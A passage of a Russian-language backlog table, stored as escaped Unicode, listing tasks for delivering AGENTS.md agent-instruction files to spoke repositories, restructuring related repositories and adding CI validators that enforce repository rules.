\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u2014 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u0430\u044f \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430, \u0430 \u043d\u0435 \u043d\u043e\u0432\u0430\u0446\u0438\u044f \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0414\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b \u0432 \u043c\u043e\u0434\u0435\u043b\u044c-\u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e. **\u0417\u0430\u043a\u0440\u044b\u0442\u043e \u043f\u043e issue #583:** \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 [`AGENTS.md`](../AGENTS.md) \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438 \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d \u0432 \u043a\u043e\u0440\u043d\u0435 \u0425\u0430\u0431\u0430 \u0438 \u043b\u0435\u0433\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d; \u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0430 \u0432 \u0441\u043f\u0438\u0446\u044b \u0432\u0435\u0434\u0451\u0442\u0441\u044f `B-111` \u0438 \u0446\u0435\u043b\u0438\u0442\u0441\u044f \u0432 `mango-ba-ai-runtime`. | Structured |\\n232:| **B-111** | \u0421\u043a\u0440\u0438\u043f\u0442 `tools/inject-agents-md.sh` \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0439 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0432 \u0441\u043f\u0438\u0446\u044b | **P1** | B-110, B-060 | todo | [#547](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/547) | \u0412\u044b\u0432\u043e\u0434 \u04126 [\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u043a](../research/hub/2026-09-03-ai-agent-onboarding-entrypoint-practices.md): Copilot \u0438 Cursor \u0447\u0438\u0442\u0430\u044e\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u0439\u043b\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0430\u043c\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f; [\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438](../projects-sink/agents-md/synchronization-rules.md) | \u0420\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 **\u043d\u0435 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0444\u0430\u0439\u043b \u0432\u0441\u043b\u0435\u043f\u0443\u044e**, \u0430 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e general/archetype/environment/project layers \u0438\u0437 `projects-sink/agents-md/`. \u0421\u043a\u0440\u0438\u043f\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 `.hub-profile.json`, \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 template \u0430\u0440\u0445\u0435\u0442\u0438\u043f\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 project delta \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0439 `derived_from` \u0441 \u0442\u043e\u0447\u043d\u044b\u043c upstream SHA \u0432 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u0435 profile/manifest. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f: dry-run \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043f\u043e\u0441\u0435\u043a\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442 `add/update/keep/remove-duplicate/conflict`, \u043e\u0442\u043a\u0430\u0437 \u043f\u0440\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0430\u0432\u043a\u0430\u0445 \u0431\u0435\u0437 \u0444\u043b\u0430\u0433\u0430, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 CI/\u043f\u043e \u0440\u0430\u0441\u043f\u0438\u0441\u0430\u043d\u0438\u044e, \u0437\u0430\u043f\u0438\u0441\u044c \u0432 `CHANGELOG` \u0441\u043f\u0438\u0446\u044b. \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d \u043f\u0430\u0440\u043d\u044b\u0439 check-\u0440\u0435\u0436\u0438\u043c, \u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u043f\u0440\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438/\u0434\u0440\u0435\u0439\u0444\u0435 `AGENTS.md`, \u0440\u0430\u0441\u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0438 profile \u0441\u043e ``, \u0434\u0443\u0431\u043b\u044f\u0445 \u043f\u0440\u0430\u0432\u0438\u043b \u0432 adapters \u0438 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0438 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0438 EP-C1. **\u041f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043e \u043f\u043e issue #583:** \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u2014 `mango-ba-ai-runtime` (\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e) \u0438 `aether-orbis`; `mango_ba_prompts` \u0438\u0441\u043a\u043b\u044e\u0447\u0451\u043d \u043a\u0430\u043a `legacy/archived`. | Structured |\\n233:| **B-112** | Mango: \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c `docs/contracts/` \u0438 \u0437\u0430\u0434\u0430\u0442\u044c \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u043e\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043d\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 | **P1** | B-110 | CANCELLED | [#547](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/547) | \u041d\u0430\u0445\u043e\u0434\u043a\u0430 F2 [\u0430\u043d\u0430\u043b\u0438\u0437\u0430](../docs/analysis/2026-09-03-ai-rules-compliance-failure-root-cause.md): [`docs/contracts/kb-citations.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/contracts/kb-citations.md) | \u0414\u0432\u0443\u0445\u0447\u0430\u0441\u0442\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430. \u0412 \u0425\u0430\u0431\u0435: \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u044c [`standards/contract-documentation-standard.md`](../standards/contract-documentation-standard.md) \u0438 [`ops/repo-model.md`](repo-model.md) \u044f\u0432\u043d\u044b\u043c \u0434\u043e\u043c\u043e\u043c \u0434\u043b\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043a\u043b\u0430\u0441\u0441\u0430 \u00ab\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb \u2014 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0444\u043e\u0440\u043c\u0443, \u043d\u043e \u043d\u0435 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0433\u0434\u0435 \u043e\u043d \u0436\u0438\u0432\u0451\u0442\u00bb, \u0447\u0442\u043e \u0438 \u043f\u043e\u0440\u043e\u0434\u0438\u043b\u043e \u0441\u0431\u043e\u0439. \u0412 Mango: \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0442\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 `docs/contracts/` \u0432 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u043d\u044b\u0439 \u0434\u043e\u043c (`ai-rules/`), \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043a\u0430\u0442\u0430\u043b\u043e\u0433, \u0443\u0431\u0440\u0430\u0442\u044c \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d\u043d\u043e\u0435 \u043f\u043e\u043b\u0435 `ai-generated` \u0438\u0437 frontmatter, \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0438. \u0417\u0430\u0434\u0430\u0447\u0430 \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439, \u043f\u043e\u043a\u0430 \u0437\u0430\u043f\u0440\u0435\u0442 \u043d\u0430 `docs/contracts/` \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e (\u0441\u043c. B-116). **\u0423\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435 \u043f\u043e \u043d\u0430\u0445\u043e\u0434\u043a\u0435 F7:** \u043f\u0443\u0442\u044c `docs/contracts/kb-citations.md` \u0431\u044b\u043b \u043f\u0440\u0435\u0434\u043f\u0438\u0441\u0430\u043d \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u00ab\u0413\u043e\u0442\u043e\u0432\u043e, \u043a\u043e\u0433\u0434\u0430\u00bb \u0437\u0430\u0434\u0430\u0447\u0438 [mango#353](https://github.com/G-Ivan-A/mango_ba_prompts/issues/353), \u0430 \u043d\u0435 \u0432\u044b\u0431\u0440\u0430\u043d \u0430\u0433\u0435\u043d\u0442\u043e\u043c, \u2014 \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0434\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u0435\u0442\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e: \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0438 \u043a\u0430\u043d\u0430\u043b \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 (B-116, \u043f\u0443\u043d\u043a\u0442 2), \u0438\u043d\u0430\u0447\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442 \u00ab\u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043f\u0440\u043e\u0442\u0438\u0432 DoD\u00bb. **\u041e\u0442\u043c\u0435\u043d\u0435\u043d\u043e \u043f\u043e issue #583:** \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0438 \u2014 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `docs/contracts/` \u0432 `mango_ba_prompts`, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d `legacy/archived` \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043d\u0435 \u043f\u043e\u0434\u043b\u0435\u0436\u0438\u0442. \u0427\u0430\u0441\u0442\u044c, \u043e\u0442\u043d\u043e\u0441\u044f\u0449\u0430\u044f\u0441\u044f \u043a \u0425\u0430\u0431\u0443 (\u044f\u0432\u043d\u044b\u0439 \u0434\u043e\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043a\u043b\u0430\u0441\u0441\u0430 \u00ab\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb \u0432 `standards/contract-documentation-standard.md` \u0438 `ops/repo-model.md`), \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u0430 \u0432 `B-169`; \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u0435\u0442 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0437\u0430 `B-116` \u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0434\u043b\u044f \u043d\u043e\u0432\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432. | Structured |\\n234:| **B-113** | Aether-Orbis: \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0441 \u0433\u0435\u043d\u043e\u043c\u043e\u043c | **P1** | B-110, B-111 | todo | [#547](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/547) | \u041d\u0430\u0445\u043e\u0434\u043a\u0430 F3 [\u0430\u043d\u0430\u043b\u0438\u0437\u0430](../docs/analysis/2026-09-03-ai-rules-compliance-failure-root-cause.md): \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 `.github/ISSUE_TEMPLATE` | \u0420\u0430\u0437\u043b\u043e\u0436\u0438\u0442\u044c \u0432 [aether-orbis](https://github.com/G-Ivan-A/aether-orbis) \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0433\u0435\u043d\u043e\u043c: `.github/ISSUE_TEMPLATE/task.md` \u0438 `task.yml` \u0438\u0437 \u0425\u0430\u0431\u0430, `AGENTS.md`, `CONTRIBUTING.md`, \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u0432 \u0438\u0437 [`templates/spoke/`](../templates/spoke/README.md). \u041f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0440\u0435\u0432\u0438\u0437\u0438\u044e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 issues \u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u043a\u0430\u043a\u0438\u0435 \u0438\u0437 \u043d\u0438\u0445 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u043f\u0435\u0440\u0435\u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u044f \u043f\u043e \u043f\u044f\u0442\u0438 \u0443\u0440\u043e\u0432\u043d\u044f\u043c \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u0430 \u043a\u0430\u043a\u0438\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0435\u0441\u0442\u044c. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d \u0432\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u0432 \u0441\u0438\u043b\u0443 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u0435\u0433\u043e \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439. **\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e (\u043d\u0430\u0445\u043e\u0434\u043a\u0430 F8, \u0440\u0435\u0432\u044c\u044e PR [#548](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/548)): \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0430\u0443\u0434\u0438\u0442 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 `aether-orbis`. \u0412\u044b\u044f\u0432\u0438\u0442\u044c \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0434\u0443\u0431\u043b\u0438\u043a\u0430\u0442\u044b \u0438\u043b\u0438 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, [`PRODUCT_VISION.md`](https://github.com/G-Ivan-A/aether-orbis/blob/main/PRODUCT_VISION.md), [`GOVERNANCE.md`](https://github.com/G-Ivan-A/aether-orbis/blob/main/GOVERNANCE.md)). \u041f\u0435\u0440\u0435\u043d\u0435\u0441\u0442\u0438 \u0438\u0445 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0432 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u043d\u044b\u0435 \u0434\u043e\u043c\u0430 (`docs/vision.md`, `ai-governance/`) \u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0438\u0437 \u043a\u043e\u0440\u043d\u044f. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0441\u0435 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438.** \u0414\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSOT \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438: [`docs/vision.md`](https://github.com/G-Ivan-A/aether-orbis/blob/main/docs/vision.md) \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u043c `PRODUCT_VISION.md`. \u041f\u0435\u0440\u0435\u043d\u043e\u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f (`path_migrations` \u0432 `.hub-profile.json`) \u0438 \u0441 \u044f\u0432\u043d\u044b\u043c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u043c \u043d\u0430 \u0441\u0442\u0430\u0440\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043d\u0430 \u0444\u0430\u0439\u043b \u0435\u0441\u0442\u044c \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438, \u2014 \u043f\u043e \u043e\u0431\u0440\u0430\u0437\u0446\u0443 Mango (F7.5); \u043c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u043e\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e. | Structured |\\n237:| **B-116** | \u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0435 \u0433\u0435\u0439\u0442\u044b \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432\u0438\u043b: \u044f\u0432\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u0435\u0442\u044b \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 | **P1** | B-110 | todo | [#547](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/547) | \u041d\u0430\u0445\u043e\u0434\u043a\u0430 F6 [\u0430\u043d\u0430\u043b\u0438\u0437\u0430](../docs/analysis/2026-09-03-ai-rules-compliance-failure-root-cause.md); \u0432\u044b\u0432\u043e\u0434 \u04125 [\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u043a](../research/hub/2026-09-03-ai-agent-onboarding-entrypoint-practices.md) | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0442\u0435\u0445\u0434\u043e\u043b\u0433\u0430: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u043d\u043e \u043d\u0435 \u043f\u0440\u0438\u043d\u0443\u0436\u0434\u0430\u0435\u0442 \u043a \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u2014 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044f \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u043e hooks \u0438 CI. \u0420\u0430\u0441\u0448\u0438\u0440\u0438\u0442\u044c [`tools/validate-repository-structure.sh`](../tools/validate-repository-structure.sh) \u044f\u0432\u043d\u044b\u043c\u0438 \u0437\u0430\u043f\u0440\u0435\u0442\u0430\u043c\u0438 (`docs/contracts/`, \u043c\u043e\u0434\u0435\u043b\u044c-\u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u0440\u0430\u0432\u0438\u043b, `ai-generated` \u0432\u043e frontmatter), \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b issue \u043f\u043e \u043f\u044f\u0442\u0438 \u0443\u0440\u043e\u0432\u043d\u044f\u043c \u0438 pre-commit/CI-\u0433\u0435\u0439\u0442 \u0432 \u0425\u0430\u0431\u0435 \u0438 \u0441\u043f\u0438\u0446\u0430\u0445. \u0411\u0435\u0437 \u044d\u0442\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 `AGENTS.md` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0435\u0439, \u0438 \u0441\u0431\u043e\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442\u0441\u044f. **\u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043f\u043e \u043d\u0430\u0445\u043e\u0434\u043a\u0435 F7 (\u0440\u0435\u0442\u0440\u043e\u0441\u043f\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a):** (1) \u0441\u043d\u044f\u0442\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 `find . -maxdepth 1` \u0432 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u2014 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043d\u0435\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 = FAIL\u00bb \u0438\u0437 RFC [#532](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/538) \u043d\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0440\u0435\u043d\u044c, \u0438\u0437-\u0437\u0430 \u0447\u0435\u0433\u043e `docs/contracts/` \u043f\u0440\u043e\u0448\u0451\u043b 42 \u0437\u0435\u043b\u0451\u043d\u044b\u0445 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430 \u0432 [mango PR #354](https://github.com/G-Ivan-A/mango_ba_prompts/pull/354); (2) \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0433\u0435\u0439\u0442 \u0443\u0440\u043e\u0432\u043d\u044f \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0443\u0442\u0435\u0439, \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u044b\u0445 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445 \u00ab\u0413\u043e\u0442\u043e\u0432\u043e, \u043a\u043e\u0433\u0434\u0430\u00bb \u0438 \u00ab\u0417\u0430\u0434\u0430\u0447\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e\u00bb, \u043f\u0440\u043e\u0442\u0438\u0432 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u043d\u044b\u0445 \u0434\u043e\u043c\u043e\u0432 **\u0434\u043e** \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0437\u0430\u0434\u0430\u0447\u0438 \u0430\u0433\u0435\u043d\u0442\u0443. \u0411\u0435\u0437 \u043f\u0443\u043d\u043a\u0442\u0430 (2) \u0437\u0430\u043f\u0440\u0435\u0442\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u043c\u0438: \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043a\u0430\u043d\u0430\u043b\u043e\u043c \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u0442 \u043b\u044e\u0431\u043e\u0439 \u0437\u0430\u043f\u0440\u0435\u0442, \u0430\u0434\u0440\u0435\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e. | Structured |\\n244:| **B-169** | \u041a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u043e\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043a\u043b\u0430\u0441\u0441\u0430 \u00ab\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb \u0432 \u043d\u043e\u0440\u043c\u0435 \u0425\u0430\u0431\u0430 | **P1** | \u2014 | todo | [#583](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/583) | \u0425\u0430\u0431\u043e\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043e\u0442\u043c\u0435\u043d\u0451\u043d\u043d\u043e\u0439 `B-112`; 